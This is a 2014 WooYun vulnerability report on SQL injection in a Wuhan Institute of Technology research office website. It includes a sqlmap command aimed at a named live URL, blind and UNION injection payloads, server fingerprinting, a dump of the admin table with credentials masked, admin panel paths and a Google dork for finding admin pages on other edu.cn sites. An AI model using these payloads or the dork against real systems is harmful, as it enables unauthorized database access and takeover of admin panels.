当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-073325

漏洞标题：武汉工程大学某处SQL注入漏洞&可后台登陆

相关厂商：武汉工程大学

漏洞作者： 汪小弟

提交时间：2014-08-21 16:53

修复时间：2014-10-05 16:54

公开时间：2014-10-05 16:54

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-21： 细节已通知厂商并且等待厂商处理中
2014-08-26： 厂商已经确认，细节仅向厂商公开
2014-09-05： 细节向核心白帽子及相关领域专家公开
2014-09-15： 细节向普通白帽子公开
2014-09-25： 细节向实习白帽子公开
2014-10-05： 细节向公众公开

简要描述：

武汉工程大学某处室多个SQL注入漏洞，可登陆后台

详细说明：

武汉工程大学科学技术处

漏洞证明：

发现后台
http://kyc.wit.edu.cn/admin.asp
后，进行简单测试
1、自动注入测试

sqlmap.py -u "http://kyc.wit.edu.cn/showarticle.asp?articleid=809"


2、结果

Place: GET
Parameter: articleid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: articleid=809 AND 9774=9774
    Type: UNION query
    Title: Generic UNION query (NULL) - 18 columns
    Payload: articleid=-4922 UNION ALL SELECT NULL,NULL,CHR(113)&CHR(109)&CHR(101)&CHR(101)&CHR(113)&CHR(121)&CHR(118)&CHR(75)&CHR(114)&CHR(103)&CHR(89)&CHR(101)&CHR(117)&CHR(97)&CHR(71)&CHR(113)&CHR(111)&CHR(109)&CHR(106)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16
---
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access


3、获取表内容结果：

Table: admin
[6 entries]
+-----+------+------------+------------+
| id  | data | username   | password   |
+-----+------+------------+------------+
| 279 | <blank> | adminXXXXX | XXX      |
| 280 | <blank> | <blank>    | XXX       |
| 281 | <blank> |XX          | XXX         |
| 282 | <blank> |XX          | XXX         |
| 283 | <blank> |XX          | XXX         |
| 284 | <blank> |XX          | XXX         |
+-----+------+------------+------------+


4、后台地址：
http://kyc.wit.edu.cn/manage.asp
5、其他信息
批量寻找后台，如
google搜索inurl:edu.cn/admin.asp

修复方案：

略

版权声明：转载请注明来源 汪小弟@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2014-08-26 15:29

厂商回复：

通知处理中

最新状态：

暂无

漏洞评价：

评论